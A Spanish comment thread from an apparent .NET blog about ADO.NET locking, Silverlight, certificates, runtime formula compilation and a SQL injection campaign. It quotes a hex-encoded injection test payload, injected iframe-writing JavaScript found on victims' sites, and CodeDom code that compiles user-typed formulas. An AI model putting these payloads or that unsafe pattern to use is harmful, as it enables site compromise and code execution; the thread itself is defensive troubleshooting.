¿Tienes alguna idea de por que no me funciona?

Muchas gracias por tu atención

No se si me podran ayudar. Por si acaso les comento:

Tengo una pantalla de mantenimiento en asp.net(vb) y Atlas. Y tengo que migrarla a ajax. He encontrado algunos manuales para ello(http://www.asp.net/(S(ywiyuluxr3qb2dfva1z5lgeg))/ajax/documentation/Migration_Guide_CTP_to_RTM.aspx), pero despues de cambiar todo lo que se supone me da el siguiente error:

Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately.

Parser Error Message: Could not load file or assembly ‘Microsoft.Web.Preview’ or one of its dependencies. The system cannot find the file specified.

Esto es por que no tengo esas dll-s. Donde puedo conseguirlas?
De todas maneras me gustaria saber si tienen o me podrian decir mas claramente como cambiar de atlas a ajax (mi nivel de ingles es bastante bajo, por lo cual mis modificaciones han sido un poco a ojo)

Muchas gracias, un Saludo

Refugio13

1. Sin hacer uso de transacciones, considerando las operaciones sobre la base de datos a nivel de instrucción; con ADO.NET, ¿como implementarías el bloqueo pesimista?.

Alguna vez y hace unos cuantos años tuve la oportunidad de conocer un proyecto hecho en VB6.0 con SQLServer 7.0 donde los bloqueos eran manejados completamente a mano y eran pesimistas, esto se lograba de la siguiente manera;
Las tablas poseian un registro extra denominado UserId (Id de usuario) donde cuando un usuario tomaba un registro su Id se grababa en ese campo y se pasaba a NULL cuando el mismo era liberado. Este esquema de
funcionamiento permitía manejar los bloqueos ya que cuando un usuario quería acceder a un registro, la aplicación podía saber si el mismo se encontraba bloqueado o no leyendo el campo UserId. Este modo de funcionamiento
añadía a los problemas clásicos de escalabilidad que poseen los bloqueos pesimistas nuevos problemas propios de la implementación, ya que si un usuario abandonaba la aplicación inesperadamente el registro quedaba bloquedo y aunque es
posible encontrar métodos para evitar este problema, mi punto de vista es que no es para nada recomendable utilizar bloqueos.

2. Si por ejemplo empleo un DataAdapter (o TableAdapter) para realizar operaciones sobre la base de datos, ¿qué tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

Un DataAdapter es un objeto que te va a permitir leer datos de un source y moverlos a memoria en un DataSet y efectuar también el paso contrario, o sea moverlos nuevamente al source luego de haberlos modificado en memoria, el método
Fill va a transferir los datos del source a memoria y el método Update va a leer los datos de memoria y los va a transferir nuevamente al source, por lo que el funcionamiento por defecto es el comportamiento “el último gana”,
para probarlo podés crear una tabla simple en SQL Server, te dejo un ejemplo:

CREATE TABLE [dbo].[Datos1](
[ID] [int] NOT NULL,
[Numero] [int] NOT NULL,
[Descripcion] [nvarchar](50) NOT NULL
) ON [PRIMARY]

y utilizar el siguiente código

SqlConnection SqlCn = new SqlConnection(WebConfigurationManager.ConnectionStrings["Cn1"].ConnectionString);
SqlCn.Open();

//DataAdapter
SqlDataAdapter SqlDa = new SqlDataAdapter(“SELECT * FROM Datos1″, SqlCn);
SqlDa.AcceptChangesDuringUpdate = true;

//Comando para actualización
SqlCommand command = new SqlCommand(“UPDATE Datos1 SET Descripcion = @Descripcion WHERE ID = @ID”, SqlCn);

//Parámetro Descripcion
SqlParameter parameterDesc = command.Parameters.Add(“@Descripcion”, SqlDbType.NVarChar, 50);
parameterDesc.SourceVersion = DataRowVersion.Current;
parameterDesc.SourceColumn = “Descripcion”;

//Parámetro ID
SqlParameter parameterID = command.Parameters.Add(“@ID”, SqlDbType.Int);
parameterID.SourceVersion = DataRowVersion.Original;
parameterID.SourceColumn = “ID”;
SqlDa.UpdateCommand = command;

//Lectura de datos
DataSet DataSetD1 = new DataSet();
SqlDa.Fill(DataSetD1, “TableDatos1″);

//Actualización en memoria
foreach (DataRow DtRow in DataSetD1.Tables[0].Rows)
DtRow["Descripcion"] = DtRow["Descripcion"] + “Z”;

//Actualización en la base de datos
SqlDa.Update(DataSetD1.Tables["TableDatos1"]);

Donde básicamente se modifica el valor del campo Descripcion para todos los registros, si ponés un break point en la última sentencia “SqlDa.Update(DataSetD1.Tables["TableDatos1"]);” y antes que se ejecute vas a un query analizer
y ejecutás lo siguiente:

update Datos1 set Descripcion = Descripcion + ‘i’

antes de ejecutar la sentencia SqlDa.Update(DataSetD1.Tables["TableDatos1"]); desde VS vas a ver que todos los registros poseen una “i” al final del campo Descripción, pero si luego presionas F5 en VS y ejecutás la sentencia
SqlDa.Update(DataSetD1.Tables["TableDatos1"]); vas a notar que el cambio hecho desde el query analizer se ha perdido, ya que el update ha tomado los valores de memoria del DataSet (que aún no tenian el caracter i agregado) y los ha transferido al SQL,
si haciendo la misma prueba borrás un registro desde el Query Analizer, vas a notar que se produce un error en la sentencia SqlDa.Update(DataSetD1.Tables["TableDatos1"]); ya que no podrá actualizar registros que han sido eliminados externamente, en este caso te quedarán
algunos registros modificados (previos al error) o otros no (los sucesivos al error).

3. Si por el contrario realizo las operaciones con un objeto de tipo OleDbCommand, en un escenario conectado, ¿que tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

De esto podrás pasarme un poco de código para entender como sería el caso.

4. ¿Como puedo implementar el bloqueo de tipo “el último gana”?

Este tipo de funcionamiento es el más sencillo de utilizar ya que podés leer la información necesaria de la base de datos, cortar la conexión, modificar la informacíon en forma desconectada y
reenviar las modificaciones al servidor de base de datos en una nueva conexion (en una transaccion si hay varias tablas involucradas). En este esquema, si dos usuarios leen la misma información el último en grabar es quien
preservará sus cambios.
Fuera de los puntos anteriores, para una aplicación actual y sin utilizar frameworks de entidades y esas cosas que estan tan de moda actualmente, yo particularmente pensaría en dos enfoques posibles, el enfoque “el último gana” y el enfoque “optimista”,
dejando las transacciones para los casos donde haya varias tablas involucradas en una misma entidad. El enfoque “el último gana” es como te comentaba previamente mientras que para el enfoque optimista, podés incluir una columna extra con un numero de versión,
al momento de actualizar los datos leidos previamente deberías verificar que el numero de versíon actual sea el mismo que leistes previamente, en caso afirmativo podrás modificar los datos incrementando el numero de version de la columna, en caso negativo deberás tomar alguna acción ya que la información ha sido
modificada externamente. Otra opción es en lugar de utilizar una columna version, emplear una columna datestamp para comparar contra fechas.

5. Cuando se emplean transacciones, ¿los niveles de aislamiento definen el tipo de bloqueo?

Si, para que el motor de base de datos pueda asegurarte el nivel de aislamiento que le estás pidiendo, el mismo deberá efectuar un tipo de bloqueo determinado, por lo que el tipo de bloqueo dependerá del nivel de aislamiento solicitado.

La verdad esq tengo un poco de “empanada mental” con estos estos conceptos. A ver si me lo puedes aclarar un poco.

Yo creo que hay dos cosas distintas;
La primera es que cuando hay varias tablas involucradas a modificar en una misma operación de base de datos deben utilizarse transacciones y el nivel de aislamiento definirá que bloqueos realizará el motor de base de datos en dicha operación y eso es lo que intenta comentar el articulo.
La segunda es qué tipo de bloqueo se debe utilizar en una aplicación para que un usuario no modifique los datos que otro esta modificando paralelamente, creo si no entendí mal que es sobre este tipo de bloqueos sobre los cuales estás interesado, y según mi punto de vista, las opciones son “el último gana” o el enfoque “optimista”.

Espero que estas repuestas te hayan servido

Saludos!

Lo único que te recomendaría es que pusieras un fondo claro bajo el texto, pero el contenido mola.

Al respecto del tema que has tratado en este artículo, tengo ciertas dudas, son las siguientes:

1. Sin hacer uso de transacciones, considerando las operaciones sobre la base de datos a nivel de instrucción; con ADO.NET, ¿como implementarías el bloqueo pesimista?.

2. Si por ejemplo empleo un DataAdapter (o TableAdapter) para realizar operaciones sobre la base de datos, ¿qué tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

3. Si por el contrario realizo las operaciones con un objeto de tipo OleDbCommand, en un escenario conectado, ¿que tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

4. ¿Como puedo implementar el bloqueo de tipo “el último gana”?

5. Cuando se emplean transacciones, ¿los niveles de aislamiento definen el tipo de bloqueo?

La verdad esq tengo un poco de “empanada mental” con estos estos conceptos. A ver si me lo puedes aclarar un poco.

Gracias y saludos!

de nada! Sólo corregir un error, en el ejemplo que dí, es objParametros.ReferencedAssemblies.Add(“System.dll”), por supuesto.

estuve peleando la semana pasada con el código, ya que como a Carlos, a mí me generaba el mismo error. Finalmente lo solucioné añadiendo a la colección ReferencedAssemblies del objeto objParametros todas las librerias necesarias ( objParametros.Add(“System.dll”) )

Espero sirva de ayuda,
Gracias

Bueno la solución para que el código pida la clave del certificado digital almacenado en el store es simplemente colocar un false

signedCms.ComputeSignature(cmsSigner, false);

pero ahora tengo otro problema, necesito firmar un archivo extremadamente grande y el código que tenemos hasta el momento solo firma hasta 80 MB con archivos por ejemplo de un archivo de 1 GB no lo puede firmar dado que saca un error de memoria.

si alguien sabe de esto por favor les agradeceria me dieran la solución

cuando tenga el código completo lo pìenso subir… por ahora mi correo es jlqr@hotmail.com por si necesitan algo.. no se mucho pero igual ya tengo funcionando un pedazo de código.. y todo gracias a lo que he visto en esta página y en algunas otras…

He probado el proyecto que me ha enviado y funciona perfectamente, no se que estare haciendo mal con el mío.

Estare escarbando en los códigos y comparando las cosas que ha hecho y que hice.
Muchas Gracias por el Support.

Saludos ooordiales desde Barcelona
Carlos de la Barrera

Lo he probado y el resultado es el mismo.

Saludos
Carlos.

strClase =
"using System;" +
"namespace wrappermanagerDyn {" +
"public class ClassCalculus {" +
"public object Resolver() {" +
"return " +
Formula +
";}}}";

Saludos.

He cambiado el namespace de la clase linea strClase, ha quedado así.
strClase = “using System;” + “namespace wrappermanagerDyn {” + “public static ClassCalculus {” + “public object Resolver() {” + “return ” + Formula + “;}}}”

También he cambiado el namespace en la linea del CreateInstance, ha quedado así.
object objClase = objResultados.CompiledAssembly.CreateInstance(“wrappermanagerDyn.ClassCalculus”, false, BindingFlags.CreateInstance, null, null, null, null);

y aparece el error nuevamente. El error se produce en tiempo de ejecución. y señala la linea,
object objectClase = …

Estoy instanciando está clase desde otra, la cual toma la formula desde un textbox.

Muchas Gracias por su ayuda.
saludos
Carlos de la Barrera.

<IFRAME name="NombreDelIFrame"></IFRAME>

y luego, desde Silverlight, invocar la siguiente linea (obviamente cambiando la URL a navegar):

System.Windows.Browser.HtmlPage.Window.Navigate("http://www.scientia.com.ar", "NombreDelIFrame");

Si con esto aún no te funciona tu proyecto te invitio a nuestro foro (http://foro.scientia.com.ar) donde podrás ingresar tu consulta y, si puedes, subir la parte de tu proyecto que no funciona, para que podamos mirarlo y ayudarte.
Saludos.

Hoy he estado trabajando con su código y básicamente he creado la clase en el namespace de mi proyecto y pegado sú codigo pero me sale una excepción, seguro que estoy haciendo algo mal.

la excepcion que me aparece es la siguiente : No se puede cargar el archivo o ensamblado ‘file:///C:\Users\Carlos\AppData\Local\Temp\rctk1y4p.dll’ ni una de sus dependencias. El sistema no puede encontrar el archivo especificado.

Este es el código de la clase, estoy trabajando en VS2008: Espero no molestarlo.
muchas gracias
saludos
Carlos de la B.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.CodeDom.Compiler;
using System.Reflection;

namespace wrappermanager
{
public static class ClassCalculus
{
//codigo por: Gustavo Cantero
//http://www.programandoamedianoche.com

public static object Resolver(string Formula)
{
//Parámetros del compilador
CompilerParameters objParametros = new CompilerParameters()
{
GenerateInMemory = true,
GenerateExecutable = false,
IncludeDebugInformation = false
};

//Clase
string strClase = “”;
strClase = “using System;” + “namespace wrappermanager {” + “public class ClassCalculus {” + “public object Resolver() {” + “return ” + Formula + “;}}}”;

//Compilo todo y ejecuto el método
CodeDomProvider objCompiler = CodeDomProvider.CreateProvider(“CSharp”);

CompilerResults objResultados = objCompiler.CompileAssemblyFromSource(objParametros, strClase);
object objClase = objResultados.CompiledAssembly.CreateInstance(“wrappermanager.Formula”, false, BindingFlags.CreateInstance, null, null, null, null);

return objClase.GetType().InvokeMember(“Resolver”, BindingFlags.InvokeMethod, null, objClase, null);
}
}
}

<INPUT TYPE="text" name="texto" value="Prueba" />
<INPUT TYPE="submit" value="enviar"/>

Para que el segundo control no se imprima puedes crear un estilo dentro del medio “print”, para que sólo se aplique al imprimir:

@media print
{
.noPrint
{
display: none;
}
}

BODY
{
overflow: hidden;
.....

Entonces, nuestro código HTML quedaría así:

<INPUT TYPE="text" name="texto" value="Prueba" />
<INPUT TYPE="submit" value="enviar" class="noPrint" />

Si te fijas en el botón verás que le apliqué el estilo “noPrint” que, en el medio “Print”, hace que no se vea. Ten en cuenta que si quieres aplicar varios estilos a un mismo control puedes hacerlo separando los nombres con espacios, por ejemplo: ‘class=”noPrint botonAzul”‘.
Espero que se entienda la explicación, cualquier otra duda te invito a nuestro foro donde intentaremos responderte a la brevedad: http://foro.scientia.com.ar.
Suerte!

Te cuento que cuando le doy con “window.print() de javascript” me imprime con cabeceras, pies, botones de la página.

Dario muchas gracias por tu ayuda..

if (Membership.ValidateUser("Usuario1", "Usuario1"))
{
FormsAuthentication.SetAuthCookie("Usuario1", false);
if (Roles.IsUserInRole("Usuario1", "Rol1"))
Response.Redirect("Default2.aspx");
else
Response.Redirect("Default3.aspx");
}

El usuario y clave están hardcodeados en este ejemplo para simplificarlo. El único punto a mencionar es que debés utilizar el método SetAuthCookie de la clase estática FormsAuthentication para establecer la cookie de autenticación (el segundo parámetro indicará si la cookie será o no persitetnte).
En este ejemplo si el usuario pertenece al rol “Rol1″ es redirigido a la pagina “Default2.aspx” y el caso contrario a “Default3.aspx”, pero la condición puede definirse según las necesidades de la aplicación.
Espero que la respuesta te haya servido.

objEncryptedData.Decrypt();

Puedo leer certificados, encriptar documentos sin ningun problema.

Por favor si me pueden ayudar,
Saludos,
Jonathan.

he verificado los puntos 1 y 2 accediendo directamente a la URL de la CRL que trae el certificado el cual descarga un archivo .crl, y le modifiqué el tiempo de espera, pero aun asi me sigue presentando el mismo mensaje “RevocationStatusUnknown – La función de revocación no puede comprobar la revocación para el certificado.”

Por otro lado tambien estoy intentando firmar con el ejemplo tuyo, pero todos los certificados que posee mi maquina requieren password, no encontre en el ejemplo como le paso el password, le agradezco si me puede por favor indicar como hacerlo.

saludos

• La PC donde está corriendo la aplicación no tiene conexión a internet
• El servidor donde está la lista está caido o ya no existe
• Demora mucho en obtener la lista. Para esto puedes aumentar el tiempo modificando la propiedad UrlRetrievalTimeout asi: objChain.ChainPolicy.UrlRetrievalTimeout = new TimeSpan(0, 3, 0);

Cualquier otra consulta no dudes en escribirnos.
Suerte!

estoy realizando la validación del certificado, pero después de correr el codigo me muestra el siguiente mensaje:
“RevocationStatusUnknown – La función de revocación no puede comprobar la revocación para el certificado”

que puede estar pasando… entre los parametros se encuentra objChain.ChainPolicy.RevocationMode = X509RevocationMode.Online; que tiene que ver con la CRL pero en donde le puedo decir la URL en la cual debe buscar la CRL o como se hace esta parte.

muchas gracias de antemano.

saludos…

Jesus Castrillo
P2P Analisis.

Logro Autenticar a mis usuarios y validar que existan en la base de datos, despues de ello, requiero automaticamente invocar o llamar a mi segunda pagina Silverlight de mi solucion…

Es Decir desde mi MainPage.xaml -> Autenticacion -> SecondPage.xaml.

La Pregunta de los Mil Dolares, no se como hacerlo automaticamente.

Si Pudieras Ayudarme seria de mucha ayuda… Muchisimas Gracias… Excelente Blog.

Codigo de Revision de Datos de Autenticacion:

if (r.Result.Count != 1)
MessageBox.Show(“Clave o Usuario Incorrecto, Verifique Por Favor”);
else

y alli me quedo… Gracias Amigo.

Gracias,

dentro de los campos de texto…. te aviso por si las tuyas estan siendo atacadas de nuevo.

voy a probar a buscar algo para limpiar, se que existe un script para limpiar la base de datos para no tener que pegarme la paliza uno a uno. Tu tienes algo?

Gracias por todo.

<asp:Silverlight ID=”Xaml1″ runat=”server” Source=”~/ListTree.xap”
MinimumVersion=”2.0.31005.0″ Width=”100%” Height=”100%” />

Si no posees un control ya terminado, o sea que estás creando un control Silverlight, Visual Studio (2008) puede ayudarte automatizando las tareas de prueba del control, podés agregar en la solución del projecto Silverlight un proyecto ASP.NET convencional desde las propiedades del proyecto ASP.NET, en la solapa “Silverlight Applications” (Versión en inglés del VS) podrás incluir el proyecto Silverlight que estás creando presionando el botón “Add”,Visual Studio te permitirá crear una página .aspx (también te incluirá una pagina html) de pruebas con el control ya embebido y ajustará a la solución para que compile, genere el .xap y lo copie a la carpeta bin automáticamente ahorrandote mucho tiempo.

Para conectar dos controles Silverlight dentro de una misma página, supongamos que desde el control Sil1 deseas enviarle una cadena de texto al control Sil2, ambos embebidos en una página .aspx, hay tres pasos que debes seguir;
Hacer que el control Sil1 exporte información, Hacer que el control Sil2 importe información y hacer el puente entre ambos.

Para el primer paso deberás hacer que el control Sil1 exporte información, esto en el mundo práctico es hacer que Sil1 llame una función JavaScript en la página .aspx, para hacer eso simplemente deberás invocar a la función JavaScript de la siguiente forma

HtmlPage.Window.Invoke(“miJSFunc”, “Cadena enviada desde Sil1!”);

Luego debes hacer que el control Sil2 importe información, la idea es que Sil2 posea métodos invocables desde JavaScript para recibir información y esto se hace incluyendo el atributo “ScriptableMember” en el método de Sil2 que será invocado

[ScriptableMember]
public void RecibirTexto(string Text)
{

Además deberás registrar el control como scriptable, simplemente agregando

HtmlPage.RegisterScriptableObject(“Page”, this); en el constructor del control Sil2

Finalmente deberás crear el puente entre ambos como una función javascript en la página .aspx que contiene ambos controles

function miJSFunc(texto) {
var Objs1 = $find(“Sil2″);
var Elems1 = Objs1.get_element();
Elems1.Content.Page.RecibirTexto(texto);
}

Con esos pasos deberías poder conectar ambos controles, esto es solo un ejemplo mínimo, en un caso real podrías sofisticar un poco este esquema y hacer que el control Sil1 escriba el javascript en la pagina, deberías emplear el clientID de ASP.NET en el $find (<%= Sil2.ClientID ) y no usar el nombre directamente ya que el nombre del control (Sil2) puede variar en ciertos escenarios, por ejemplo si el control se encuentra dentro de panels.
También podrías necesitar enviar información compleja entre los controles, dejo esas posibilidades a tu creatividad y espero que esta información te haya resultado útil.

Saludos

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

al final de las urls que incluyan pasaje de parámetros por querystring ,por ejemplo si querés verificar que la página:

pgatacada.asp?p=11&e=hola

ya no sea atacable, entonces deberías escribir en la url del browser lo siguiente:

pgatacada.asp?p=11&e=hola;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

Luego que le pidas al browser navegar la url con esto agregado, ingresá al Sql Server y consultá la tabla “dummytest” si hay un nuevo registro con el valor ‘HACKED’ en el campo dummyfield, la página sigue siendo atacable.
Si hay muchas páginas te va a llevar un poco de tiempo probarlas a todas, pero lo bueno es que estás utilizando el mismo método que uso el hacker para evitar que vuelva a atacarte, si el sistio no se encuentra protegido, solo se va a agregar un registro en una tabla propia, con lo cual no se genera ningún daño. No te olvides de eliminar las tablas “dummytest” que hayas creado cuando ya hayas terminado con las pruebas.

Suerte

y creamos el siguiente SQL Injection para hacer las pruebas:
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES (‘HACKED’)

De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva. …”

Como hago yo para lanzar un ataque a mi web? Podrías ayudarme? Quiero probar si ya lo hemos solucionado

Gracias y espero tu respuesta…

window.status=”";
n=navigator.userLanguage.toUpperCase();
if((n!=”ZH-CN”)&&(n!=”ZH-MO”)&&(n!=”ZH-HK”)&&(n!=”BN”)&&(n!=”GU”)&&(n!=”NE”)&&(n!=”PA”)&&(n!=”ID”)&&(n!=”EN-PH”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”VI”)){
var cookieString = document.cookie;
var start = cookieString.indexOf(“v1goo=”);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = “v1goo=update;expires=”+expires.toGMTString();
try{
document.write(“”);
}
catch(e)
{
};
}}

Este el nuevo codigo jss que han injectado pero esta vez lo han hecho dos veces (o ha habido dos ataques a la vez)

Un saludo.

Como los ataques por SQL Injection son posibles debido a una mala programación. Creo que la única solución definitiva es corregir el código, desde que hicimos las modificaciones en el código (paremetrizar las consultas), no volvimos a tener problemas de SQL Injection.

Saludos

Yo tambien he sufrido este ataque, mejor dicho lo sufro constantemente, he logrado por ahora evitarlo, filtrando los parametro que se pasan por la url, pero me gustaria saber como has conseguido hacer la solución que indicas, “El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias”,

podrias explicarla.

Muchas Gracias

Sigo teniendo ataques, he podido ver los logs por fin y los ataques son desde distintas ips mundiales, uruguay, venezuela, francia, etc. por lo que ves es muy variado.

Encontramos un procedimiento que realiza el proceso inverso, es decir recorre todas las tablas de la base de datos y borra el texto que nos injecto el ataque.

Estamos investigando el declare que nos injecta, es casi igual que el que publicas aqui pero a partir de las 5 ultimas lineas varia supongo que ira variando seguna la url que le mete en el cast.

con la solucion que publicas habeis tenido problemas algun dia mas? ahora mismo no tenemos las BD infectadas pero seguimos siendo atacados.

document.write(“iframe src=http://.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0>/iframe”);

Abre un iframe y navega una url (clásico ataque IFrame), nuevamente el sitio al que accedia el iframe (lo borramos en el blog) ya no era accesible, (otra vez la misma frustración). Al menos avanzamos otro paso.

Un detalle interesante es la sentencia:

if((n!=”ZH-CN”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”UR”)&&(n!=”VI”))

que hace que el iframe no se genere si el lenguaje del browser es de:

Rusia, Ucrania, China, Corea o Vietnam

Muchas grcias y saludos

window.status=”";
n=navigator.userLanguage.toUpperCase();
if((n!=”ZH-CN”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”UR”)&&(n!=”VI”)){
var cookieString = document.cookie;
var start = cookieString.indexOf(“updngg=”);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = “updngg=update;expires=”+expires.toGMTString();
try{
document.write(“”);
}
catch(e)
{
};
}}

Segun informacion recopilada, solo el Kaspersky avisa de este “virus”. Yo tengo mi pagina infectada que estoy intentando arreglar, alojada en Arsys.

Alguno con el mismo problema?

Un saludo y gracias de nuevo por la información.